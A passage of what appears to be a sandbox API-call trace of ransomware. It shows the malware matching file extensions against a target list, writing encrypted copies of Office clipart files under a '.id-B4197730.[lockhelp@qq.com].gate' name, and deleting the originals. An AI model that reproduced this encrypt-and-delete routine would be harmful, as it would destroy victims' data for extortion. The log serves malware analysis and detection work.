(lpString1=".jpg", lpString2=".WMF") returned -1 [0285.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.425] lstrlenW (lpString=".doc") returned 4 [0285.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.426] lstrlenW (lpString=".docx") returned 5 [0285.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.426] lstrlenW (lpString=".pdf") returned 4 [0285.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.426] lstrlenW (lpString=".xls") returned 4 [0285.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.426] lstrlenW (lpString=".xlsx") returned 5 [0285.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.426] lstrlenW (lpString=".ppt") returned 4 [0285.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.426] lstrlenW (lpString=".zip") returned 4 [0285.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.426] lstrlenW (lpString=".rar") returned 4 [0285.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.426] lstrlenW (lpString=".bz2") returned 4 [0285.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.426] lstrlenW (lpString=".7z") returned 3 [0285.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.426] lstrlenW (lpString=".dbf") returned 4 [0285.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.426] lstrlenW (lpString=".1cd") returned 4 [0285.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.426] lstrlenW (lpString=".jpg") returned 4 [0285.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.427] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.427] lstrlenW (lpString="BL00122_.WMF") returned 12 [0285.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.427] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10146) returned 1 [0285.427] CloseHandle (hObject=0x418) returned 1 [0285.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0285.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.428] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.428] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.428] GetLastError () returned 0x0 [0285.428] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x27a2, lpOverlapped=0x0) returned 1 [0285.592] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x27b0, lpOverlapped=0x0) returned 1 [0285.594] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.594] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.594] SetEndOfFile (hFile=0x4a4) returned 1 [0285.611] CloseHandle (hObject=0x4a4) returned 1 [0285.612] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.612] SetEndOfFile (hFile=0x418) returned 1 [0285.614] CloseHandle (hObject=0x418) returned 1 [0285.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0285.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.615] lstrlenW (lpString=".doc") returned 4 [0285.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.615] lstrlenW (lpString=".docx") returned 5 [0285.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.615] lstrlenW (lpString=".pdf") returned 4 [0285.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.615] lstrlenW (lpString=".xls") returned 4 [0285.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.615] lstrlenW (lpString=".xlsx") returned 5 [0285.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.615] lstrlenW (lpString=".ppt") returned 4 [0285.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.615] lstrlenW (lpString=".zip") returned 4 [0285.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.616] lstrlenW (lpString=".rar") returned 4 [0285.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.616] lstrlenW (lpString=".bz2") returned 4 [0285.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.616] lstrlenW (lpString=".7z") returned 3 [0285.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.616] lstrlenW (lpString=".dbf") returned 4 [0285.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.616] lstrlenW (lpString=".1cd") returned 4 [0285.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.616] lstrlenW (lpString=".jpg") returned 4 [0285.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.616] lstrlenW (lpString=".doc") returned 4 [0285.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.616] lstrlenW (lpString=".docx") returned 5 [0285.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.616] lstrlenW (lpString=".pdf") returned 4 [0285.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.616] lstrlenW (lpString=".xls") returned 4 [0285.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.616] lstrlenW (lpString=".xlsx") returned 5 [0285.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.616] lstrlenW (lpString=".ppt") returned 4 [0285.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.616] lstrlenW (lpString=".zip") returned 4 [0285.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.616] lstrlenW (lpString=".rar") returned 4 [0285.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.617] lstrlenW (lpString=".bz2") returned 4 [0285.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.617] lstrlenW (lpString=".7z") returned 3 [0285.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.617] lstrlenW (lpString=".dbf") returned 4 [0285.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.617] lstrlenW (lpString=".1cd") returned 4 [0285.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0285.617] lstrlenW (lpString=".jpg") returned 4 [0285.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.617] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.617] lstrlenW (lpString="BL00152_.WMF") returned 12 [0285.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.619] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1516) returned 1 [0285.619] CloseHandle (hObject=0x4a4) returned 1 [0285.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0285.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.620] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.620] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0285.620] GetLastError () returned 0x0 [0285.620] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0285.684] WriteFile (in: hFile=0x394, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0285.685] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.685] WriteFile (in: hFile=0x394, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.685] SetEndOfFile (hFile=0x394) returned 1 [0285.685] CloseHandle (hObject=0x394) returned 1 [0285.686] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.686] SetEndOfFile (hFile=0x4a4) returned 1 [0285.688] CloseHandle (hObject=0x4a4) returned 1 [0285.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0285.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.689] lstrlenW (lpString=".doc") returned 4 [0285.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.689] lstrlenW (lpString=".docx") returned 5 [0285.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.689] lstrlenW (lpString=".pdf") returned 4 [0285.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.689] lstrlenW (lpString=".xls") returned 4 [0285.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.689] lstrlenW (lpString=".xlsx") returned 5 [0285.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.689] lstrlenW (lpString=".ppt") returned 4 [0285.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.690] lstrlenW (lpString=".zip") returned 4 [0285.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.690] lstrlenW (lpString=".rar") returned 4 [0285.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.690] lstrlenW (lpString=".bz2") returned 4 [0285.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.690] lstrlenW (lpString=".7z") returned 3 [0285.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.690] lstrlenW (lpString=".dbf") returned 4 [0285.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.690] lstrlenW (lpString=".1cd") returned 4 [0285.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.690] lstrlenW (lpString=".jpg") returned 4 [0285.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.690] lstrlenW (lpString=".doc") returned 4 [0285.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.690] lstrlenW (lpString=".docx") returned 5 [0285.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.690] lstrlenW (lpString=".pdf") returned 4 [0285.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.690] lstrlenW (lpString=".xls") returned 4 [0285.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.690] lstrlenW (lpString=".xlsx") returned 5 [0285.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.690] lstrlenW (lpString=".ppt") returned 4 [0285.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.691] lstrlenW (lpString=".zip") returned 4 [0285.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.691] lstrlenW (lpString=".rar") returned 4 [0285.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.691] lstrlenW (lpString=".bz2") returned 4 [0285.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.691] lstrlenW (lpString=".7z") returned 3 [0285.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.691] lstrlenW (lpString=".dbf") returned 4 [0285.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.691] lstrlenW (lpString=".1cd") returned 4 [0285.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0285.691] lstrlenW (lpString=".jpg") returned 4 [0285.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.691] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.691] lstrlenW (lpString="BL00194_.WMF") returned 12 [0285.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.692] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3986) returned 1 [0285.692] CloseHandle (hObject=0x4a4) returned 1 [0285.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0285.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.692] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.692] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0285.693] GetLastError () returned 0x0 [0285.693] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xf92, lpOverlapped=0x0) returned 1 [0285.867] WriteFile (in: hFile=0x394, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0285.869] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.869] WriteFile (in: hFile=0x394, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.869] SetEndOfFile (hFile=0x394) returned 1 [0285.869] CloseHandle (hObject=0x394) returned 1 [0285.871] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.871] SetEndOfFile (hFile=0x4a4) returned 1 [0285.874] CloseHandle (hObject=0x4a4) returned 1 [0285.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0285.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.875] lstrlenW (lpString=".doc") returned 4 [0285.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.875] lstrlenW (lpString=".docx") returned 5 [0285.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.875] lstrlenW (lpString=".pdf") returned 4 [0285.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.875] lstrlenW (lpString=".xls") returned 4 [0285.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.875] lstrlenW (lpString=".xlsx") returned 5 [0285.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.876] lstrlenW (lpString=".ppt") returned 4 [0285.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.876] lstrlenW (lpString=".zip") returned 4 [0285.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.876] lstrlenW (lpString=".rar") returned 4 [0285.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.876] lstrlenW (lpString=".bz2") returned 4 [0285.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.876] lstrlenW (lpString=".7z") returned 3 [0285.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.876] lstrlenW (lpString=".dbf") returned 4 [0285.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.876] lstrlenW (lpString=".1cd") returned 4 [0285.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.876] lstrlenW (lpString=".jpg") returned 4 [0285.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.876] lstrlenW (lpString=".doc") returned 4 [0285.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.877] lstrlenW 